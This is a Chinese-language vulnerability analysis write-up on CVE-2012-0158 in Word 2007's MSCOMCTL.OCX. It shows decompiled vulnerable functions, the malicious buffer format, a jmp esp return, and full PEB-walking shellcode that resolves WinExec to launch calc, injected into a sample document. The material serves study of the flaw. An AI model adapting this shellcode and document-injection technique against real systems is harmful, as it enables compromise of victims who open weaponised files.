CVE-2012-0158 分析

时间:2023-12-25 17:57:55

CVE-2012-0158 分析&利用

分析思路:通过word文档样本调试分析漏洞触发处

1、实验环境

  • WINDOWS 7 SP1 32位系统
  • Microsoft office word 2007 (12.0.4518.1014)
  • IDA Pro 7.0
  • OD吾爱破解专用版
  • WinHex

2、下载poc样本

​ POC样本是使用的是看雪论坛一篇CVE-2012-0158分析文章中提供的POC样本。

样本下载地址:https://bbs.pediy.com/thread-207638.htm

​ 下载好了sample.doc之后,使用word 2007打开会弹出一个计算器:

CVE-2012-0158 分析

​ 弹出计算器后,word立即关闭。并且大小从原来的134kb变为了12kb,再次打开该文档:

CVE-2012-0158 分析

出现警告,继续打开,发现样本再也无法弹出计算器了。这要么是word对其进行了处理,要么就是样本自身进行了”自我廋身“。

​ 因为样本的这个特性,所以每次都只有一次调试分析机会。我提前做好了样本的备份,每次分析都会使用一个bat文件,将样本复制一份来进行分析。从而避免每次都从原网站下载该样本。

3、调试并找到漏洞触发点

​ 既然弹出了计算器,那么猜测调用了WinExec函数。考虑使用OD下API断点。首先打开word 2007,使用OD附加到word 2007上。并执行如下操作:

CVE-2012-0158 分析

执行了上图的命令之后就给WinExec函数下了断点,当程序执行调用WinExec函数时将会调试器将会断下。继续运行word 2007,使用它打开sample.doc。OD调试器对WinExec函数下的软件断点触发。此时的堆栈如图显示:

CVE-2012-0158 分析

额,卧槽,cmdLine参数居然是"C:\User\pc207\a.exe"。我电脑上什么时候有的这个a.exe啊?于是我跟着这个路径去看,发现居然真他妈的多出了个a.exe!!!,查看其出生日期,妈的不就是刚刚吗???

CVE-2012-0158 分析

所以说,这个a.exe应该就是这个sample.doc生出来的。现在大概知道了这个sample.doc运行会在用户目录下生出一个a.exe的计算器程序,并且调用WinExec函数执行它。

继续查看栈,WinExec函数执行完的返回地址为:0x272228,这个地址是很明显的栈地址空间(使用OD查看内存区段分布可得出该结论)。于是可以判断,这是个栈溢出。

那么我们可以看看0x272228的反汇编:

CVE-2012-0158 分析

还真是栈溢出的shellcode的样子。

那么怎么知道在执行这段栈中shellcode之前,程序运行在哪个函数中呢?即到底是在哪个函数中发生的栈溢出呢?1、可以对这段栈下写入记录断点,然后慢慢调。2、查看现有堆栈中是否还存留一些返回地址信息。

我运气比较好,这个样本留有一些信息给我。如下图:

CVE-2012-0158 分析

返回到MSCMCTL.275c8A0A ,那就跳过去下个断点,重新调试 看看是WinExec的断点先触发,还是MSCMCTL.275c8A0A 的断点先触发。

CVE-2012-0158 分析

再次调试,发现并不是我想的那样,是在MSCOMCTL.275c876D中出现的调用的WinExec。但是细心的我发现在没call MSCOMCTL.275c876d之前,栈回溯是可以的,即栈没有被破坏,但是执行了call MSCOMCTL.275c876d之后栈回溯居然被破坏掉了!!!如下图,我转到EBP,发现EBP的值居然为0了:

CVE-2012-0158 分析

那么我继续单步走,发现就是在执行call MSCOMCTL.275c876d的这个函数里面,发生的堆栈溢出,并且在最后ret 0x8的时候返回到了0x7ffa4512处(上图ebp下面哪个就是返回地址),所以MSCOMCTL.275c876d执行了类似memcpy的功能,造成了栈溢出。

而0x7ffa4512处不出意外应该就是:jmp esp

CVE-2012-0158 分析

好了,再次重新调试,我们在执行call MSCOMCTL.275c876d之前看栈回溯,看看执行call MSCOMCTL.275c876d的函数的名字。

CVE-2012-0158 分析

可以看到返回地址是0x275e701a,反汇编窗口跟随到该地址,得到执行call MSCOMCTL.275c876d的函数的名字为:MSCOMCTL.275c89c7

CVE-2012-0158 分析

好,现在可以使用我们的神器IDA Pro来分析一下这个函数了。分析模块为C:\windows\system32\MSCOMCTL.OCX 。

4、分析漏洞触发模块及流程

将其用IDA打开,定位到MSCOMCTL.275c89c7函数。F5查看其代码:

int __stdcall sub_275C89C7(int a1, BSTR bstrString)
{
BSTR v2; // ebx
int result; // eax
int v4; // esi
int v5; // [esp+Ch] [ebp-14h]
SIZE_T dwBytes; // [esp+14h] [ebp-Ch]
int v7; // [esp+18h] [ebp-8h]
int v8; // [esp+1Ch] [ebp-4h] v2 = bstrString;
result = sub_275C876D((int)&v5, bstrString, 0xCu);
if ( result >= 0 )
{
if ( v5 == 1784835907 && dwBytes >= 8 )//大于8溢出
{
v4 = sub_275C876D((int)&v7, v2, dwBytes);//这儿发生的栈溢出
if ( v4 >= 0 )
{
if ( !v7 )
goto LABEL_8;
bstrString = 0;
v4 = sub_275C8A59((UINT)&bstrString, (int)v2);
if ( v4 >= 0 )
{
sub_27585BE7(bstrString);
SysFreeString(bstrString);
LABEL_8:
if ( v8 )
v4 = sub_275C8B2B(a1 + 20, v2);
return v4;
}
}
return v4;
}
result = -2147418113;
}
return result;
}

好,下面我给出打开sample.doc,是上述代码的执行流程:

堆栈示意图:

CVE-2012-0158 分析

  1. 首先执行第12行代码,result = sub_275C876D((int)&v5, bstrString, 0xCu);,从执行的结果来看这个函数复制了12个字节的数据到了v5,那么就会dwbytes也会被影响。执行完这句之后,V5 ="Cobjd",dwbytes=0x8282
  2. sub_275c876d执行成功返回0,执行到第15行,判断v5是否为"Cobjd"且dwbytes是否大于等于8。条件满足!!!
  3. 继续执行第17行:v4 = sub_275C876D((int)&v7, v2, dwBytes); 由上述我们可以猜到,sub_275c876D应该是复制dwBytes个字节到v7,即复制0x8282个字节到v7,那么造成了栈溢出,覆盖返回地址。从执行结果来看,v7=v8=ebp=0,返回地址指向了jmp esp的地址。且函数返回0。
  4. 因为v7=0;所以执行第21行goto LABEL_8;
  5. 因为v8=0;所以执行第31行return v4
  6. 然后就会jmp esp,开始执行攻击者构造的shellcode了。

你觉得这样就算分析完了吗???不行,老子要来提问题了!!!

  • 问题1:不知道你娃注意到没有该函数前后调用了两次sub_275C876D函数,而且他们的第二个参数都是一样的!都是参数&bstrString。 什么你要杠?第二个sub_275C876D的参数不是&v2吗? 我日,你眼睛瞎了哇!去看第11行!那么按照猜想,第一次复制了12个字节,第二次复制0x8282个字节的时候前12个字节应该也和复制12个字节时一样啊。但是结果是,第二次调sub_275C876D得到的前12个字节并不是"Cobjd"和0x8282。我日,看来sub_275C876D里面还是有点鬼的。没事,老子有IDA pro 7.0 ,虚毛线。上F5!

    int __cdecl sub_275C876D(int a1, LPVOID lpMem, SIZE_T dwBytes)
    {
    LPVOID v3; // ebx
    int result; // eax
    LPVOID v5; // eax
    int v6; // esi
    int v7; // [esp+Ch] [ebp-4h]
    void *lpMema; // [esp+1Ch] [ebp+Ch] v3 = lpMem;
    result = (*(int (__stdcall **)(LPVOID, int *, signed int, _DWORD))(*(_DWORD *)lpMem + 12))(lpMem, &v7, 4, 0);
    if ( result >= 0 )
    {
    if ( v7 == dwBytes )
    {
    v5 = HeapAlloc(hHeap, 0, dwBytes);
    lpMema = v5;
    if ( v5 )
    {
    v6 = (*(int (__stdcall **)(LPVOID, LPVOID, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))(v3, v5, dwBytes, 0);
    if ( v6 >= 0 )
    {
    qmemcpy((void *)a1, lpMema, dwBytes);
    v6 = (*(int (__stdcall **)(LPVOID, void *, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))(
    v3,
    &unk_27632368,
    ((dwBytes + 3) & 0xFFFFFFFC) - dwBytes,
    0);
    }
    HeapFree(hHeap, 0, lpMema);
    result = v6;
    }
    else
    {
    result = -2147024882;
    }
    }
    else
    {
    result = -2147418113;
    }
    }
    return result;
    }

    看到第11行,第20行,第24行那种调用,我就晓得了,这个lpMem即bstrString应该是个类。

    我调试了n遍这个函数,我大致说下这个函数的流程。

    1. 首先,11行调用它这个类的成员函数,从一个buffer中获取前4个字节的值存到局部变量v7中。
    2. 接着判断这个v7和我们传进来的哪个dwbytes相比较,一样则满足要求继续执行。
    3. 接着第16行,使用HeapAlloc分配dwbytes这么大的空间v5。
    4. 分配成功,就又调用它这个类的成员函数(和第11行哪个一样),从结果分析是读取了dwbytes个字节到了刚刚使用HeapAlloc分配的v5中。
    5. 然后就会执行第23行,qmemcpy拷贝dwbytes个字节的数据到a1,a1即sub_275C876D的第一个参数的地址处。
    6. 然后第24行处的函数调用(和第11行的函数是一个函数)我没看懂。没啥影响。哦哦,反正要保证第三个参数为0。
    7. 然后调用HeapFree释放v5,返回函数。

    经过一些列分析我终于顿悟了它这个成员函数的功能。它这个类中有一个buffer,以及一个偏移量offset,而这个buffer它是有格式的(经过我的调试得出的结论):

CVE-2012-0158 分析

1、所以第一次调用那个成员函数,获取4个字节的数据是长度,然后offset = offset+4

2、判断数据长度是否和sub_275C876D传入的dwbytes一致,一致则继续

3、接着第二次调用哪个成员函数,从offset处获取dwbytes个字节到HeapAllocate获取的缓冲区里面。并offset=offset+dwbytes

4、如果要继续正确读取后面的buffer,那么第三次调用那个成员函数的时候,第三个参数要为0。

我想如果我的猜测正确那么这段buffer就应该是这样的:

CVE-2012-0158 分析

但是!我他妈换了几个Hex编辑器,搜"Cobj"都没有搜索到!搜0x8282也没有....结果,他妈的,我灵光一闪,找到了答案。wqnmlgb,数据居然都是用字符这种形式存的。。。。所以你要搜8282,就搜Hex: 38323832

你说坑不坑。。。。。

结果不出所料,果然和我想像的buffer格式一模一样。哈哈哈哈哈哈哈哈。上图:

CVE-2012-0158 分析

稍微排列一下:

CVE-2012-0158 分析

  • 问题2:那你娃咋个自己写一个sample.doc哇。

    emmmm,我就是个初入漏洞分析的菜鸟,这是我调的第二个洞,也是第一个office洞。我不清楚啥子COM,ActiveX,OLE,还有VBS,宏。所以要我自己写一个那是不可能的。技术还不够。所以一不做,二不休,我就用这个sample.doc来做。改一改就行了,弹个计算器的shellcode又不是写不来。下面看我施展我的绝技:偷天换日 神功。

5、漏洞利用

  • shellcode编写:最基本的东西我不想过多解释,直接上代码:篇幅有限,没做ExitProcess

    	_asm
    {
    //int 3
    mov eax,fs:[0x30];// peb
    mov ebx,[eax+0xc]; //peb->Ldr
    mov esi,[ebx+0x14];//peb->Ldr.Inmemorder
    lodsd ;//eax="ntdll.dll"
    xchg eax,esi;
    lodsd ;//eax="kernel32.dll"
    mov ebx,[eax+0x10]; //ebx = base address mov edx,[ebx+0x3c]; //DOS->e_ifanew
    add edx,ebx; // PE header
    mov edx,[edx+0x78];// edx = offset of EAT
    add edx,ebx;// EAT mov esi,[edx+0x20]; //Address of Names(RVA)
    add esi,ebx ;//Name Table
    xor ecx,ecx ;//index=0 Find_index:
    inc ecx;
    lodsd ;//mov eax,[esi] RVA
    add eax,ebx;
    cmp dword ptr[eax],0x50746547;//PteG
    jnz Find_index ;
    cmp dword ptr[eax+0x4],0x41636f72;//Acor
    jnz Find_index ;
    cmp dword ptr[eax+0x8],0x65726464; //erdd
    jnz Find_index;
    //get!
    mov esi,[edx+0x24] ;//AddressOfNameOrdinals RVA
    add esi,ebx ;//Ord Table
    mov cx,[esi+ecx*2];//cx = realindex mov esi,[edx+0x1c];//AddressOfFunction RVA
    add esi,ebx ;//
    dec ecx;// indx-1
    mov edx,[esi+ecx*4];
    add edx,ebx;//GetProcAddress real address push 0x00636578;//xec
    push 0x456E6957;//WinE
    push esp;
    push ebx;
    call edx; push 0;
    push 0x636c6163;//calc
    mov edi,esp;
    push 0;
    push edi;
    call eax;
  • 提取shellcode,覆盖到原来的sample.doc

    自己写个程序来完成这个任务。就是将shellocde 转成字符保存到sample.doc的shellcode处(ebp+10h处)的一个c程序。

    完成之后是这个效果:

CVE-2012-0158 分析

运行我自己的sample.doc截图如下:

CVE-2012-0158 分析

6、总结

这个漏洞是经典的office漏洞,也是经典的栈溢出漏洞。因为没有pdb文件,所以分析起来很吃力,也是第二次分析漏洞。emmm,我感觉我猜测的能力有上了一个台阶。中间有些四川话,可能影响阅读,请不要在意。哦哦,忘了说一句,因为sub_275C876D有个ret 8,所以真正的shellcode应该在ebp+10h处开始。

网上那些分析这个洞的调试符号不晓得哪儿来的,我没找到,但是我还是可以分析。

另外,他们没有分析那个buffer的数据格式,都是直接说那个函数做了复制,但是都没注意到,两次调用都是一样的参数。但是,我看到了这点,我分析出来了。(666,自我鼓励。。)

7、参考资料

1:https://bbs.pediy.com/thread-207638.htm "CVE-2012-0158分析"